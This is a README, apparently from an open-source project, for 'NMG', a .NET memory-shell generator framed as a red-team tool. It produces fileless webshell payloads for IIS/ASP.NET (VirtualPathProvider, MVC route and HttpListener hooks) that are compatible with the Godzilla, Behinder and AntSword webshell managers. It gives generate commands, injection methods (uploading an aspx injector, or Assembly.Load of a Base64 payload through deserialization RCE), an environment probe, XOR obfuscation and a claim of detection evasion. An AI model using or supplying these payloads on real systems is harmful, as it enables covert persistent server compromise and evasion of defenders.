
Godzilla, Behinder, AntSword 클라이언트와 호환되는 매개변수화된 .NET 메모리 셸 페이로드(VPP, MVC 라우트, HttpListener)를 생성하여 레드 팀 테스트에 활용합니다.
매개변수화된 .NET 메모리 셸 생성기 | 레드팀 / 보안 테스트 | .NET용 JMG 등가물
+-----------------------------------------------------+
| nmg.exe (CLI) |
+------------------------+----------------------------+
| generate (payload) | probe (env detection) |
+------------------------+----------------------------+
| Protocol Layer |
| +----------+ +----------+ +----------+ |
| | Godzilla | | Behinder | | AntSword | |
| | AES-128 | | AES-128 | | Base64 | |
| +----------+ +----------+ +----------+ |
+------------------------------------------------------+
| Template Layer |
| +----------+ +----------+ +--------------+ |
| | VPP | | Route | | HttpListener | |
| | IIS hook | |MVC Route | | Standalone | |
| +----------+ +----------+ +--------------+ |
+------------------------------------------------------+
| Compilation Engine |
| Roslyn -> DLL (net40/net472) |
| deterministic / XOR obfuscated / randomized |
+------------------------------------------------------+
| Output Layer |
| aspx injector / base64 / dll |
+------------------------------------------------------+
NMG는 디스크에 파일을 남기지 않고 IIS/ASP.NET 애플리케이션에 주입되는 매개변수화된 .NET 메모리 셸 페이로드를 생성합니다. 주입 후에는 기존 웹셸 관리자(Godzilla / Behinder / AntSword)로 연결합니다. NMG는 서버 측이 작동하도록 만들 뿐입니다.
다음과 같이 생각하면 됩니다: 입력 매개변수 -> 컴파일된 페이로드 -> 주입 -> 클라이언트로 연결
| 유형 | 대상 | .NET Framework | 트리거 지점 |
|---|---|---|---|
vpp | IIS/ASP.NET | 2.0+ | VirtualPathProvider.GetCacheKey |
route | MVC/WebAPI | 3.5+ | RouteBase.GetRouteData |
httplistener | 독립 실행/SYSTEM | 2.0+ | HttpListener (IIS와 독립적) |
| 프로토콜 | 클라이언트 | 암호화 | 검증됨 |
|---|---|---|---|
godzilla | Godzilla 4.x | AES-128 (key=MD5(pass+key)[0:16]) | ✅ 엔드투엔드 |
behinder | Behinder 4.x | AES-128 (key=MD5(pass)[0:16] 원시 바이트) | ✅ 엔드투엔드 |
antsword | AntSword | Base64 | ✅ 엔드투엔드 |
| 형식 | 사용 사례 |
|---|---|
aspx | 쓰기 가능한 디렉터리에 업로드하고 한 번 접근하여 주입 |
b64 | 역직렬화/표현식 주입을 통한 RCE 전달용 |
dll | 사용자 지정 로더용 원시 DLL |
| 명령 | 목적 |
|---|---|
generate | 메모리 셸 페이로드 생성 |
probe | 환경 탐지 aspx 생성 (CLR/trust/MVC/VPP 보고) |
version | 버전 표시 |
help | 사용법 표시 |
Inset Dark 테마(Linear 스타일의 미니멀리즘)가 적용된 내장 웹 인터페이스:
cd src/Api && dotnet run --urls "http://127.0.0.1:9901"
# Open http://127.0.0.1:9901
# VPP memory shell, Godzilla protocol, net40 target
nmg generate --type vpp --shell godzilla --pass p@ss123 --seed 42
# Route memory shell for MVC targets
nmg generate --type route --shell godzilla --pass mypass --target net472
# HttpListener for SYSTEM-level access
nmg generate --type httplistener --pass root --path "http://*:8080/cmd/"
# AntSword protocol
nmg generate --type vpp --shell antsword --pass mypass
# Generate environment probe page
nmg probe -o probe.aspx
# Output as Base64 for deserialization delivery
nmg generate --type vpp --shell godzilla --pass p@ss123 --format b64 -o payload.b64
방법 1 — ASPX 인젝터:
.aspx 파일을 대상의 쓰기 가능한 디렉터리에 업로드합니다Assembly.Load + VPP 등록 트리거).aspx/.ashx/.asmx에 연결합니다방법 2 — Base64 (RCE 전달): 코드 실행 지점에서 실행합니다:
Assembly.Load(Convert.FromBase64String("<payload>"))
생성된 probe.aspx를 업로드하고 한 번 접속합니다. 그러면 다음 정보가 포함된 JSON을 반환합니다:
{
"clr": "4.0.30319.42000",
"trustLevel": "Full",
"mvc": false,
"vpp": "Net.Net.Loader.PathHandler74",
"appPool": "NmgLab"
}
이를 사용하여 어떤 메모리 셸 유형과 프로토콜을 사용할지 결정합니다.
ASP.xxx_aspx+ClassName 탐지를 회피합니다dotnet build
dotnet test
dotnet publish src -c Release -r win-x64 --self-contained -o publish/
nmg/
├── src/
│ ├── Program.cs # CLI entry point
│ ├── GenerateOptions.cs # generate pipeline (protocol × type × format)
│ ├── ProbeCommand.cs # probe subcommand
│ ├── Shells/
│ │ ├── GodzillaCSharp.cs # Godzilla protocol (AES-128)
│ │ ├── BehinderNet.cs # Behinder protocol (AES-128 raw bytes)
│ │ └── AntSwordNet.cs # AntSword protocol (Base64)
│ ├── Templates/
│ │ ├── VppTemplate.cs # VirtualPathProvider registrar
│ │ ├── RouteTemplate.cs # RouteBase registrar
│ │ ├── HttpListenerTemplate.cs
│ │ └── ProbeTemplate.cs # Environment probe page
│ ├── Compiler/
│ │ └── RoslynCompiler.cs # Multi-target deterministic Roslyn
│ ├── Randomizer/
│ │ └── SeedRandom.cs # Deterministic randomization
│ ├── Formats/
│ │ ├── AspxInjector.cs # Self-contained aspx injector page
│ │ └── Base64Output.cs # Raw Base64 output
│ └── Api/
│ ├── Program.cs # ASP.NET Core minimal API
│ └── wwwroot/index.html # Web UI (Inset Dark)
└── tests/ # 35 unit tests
MIT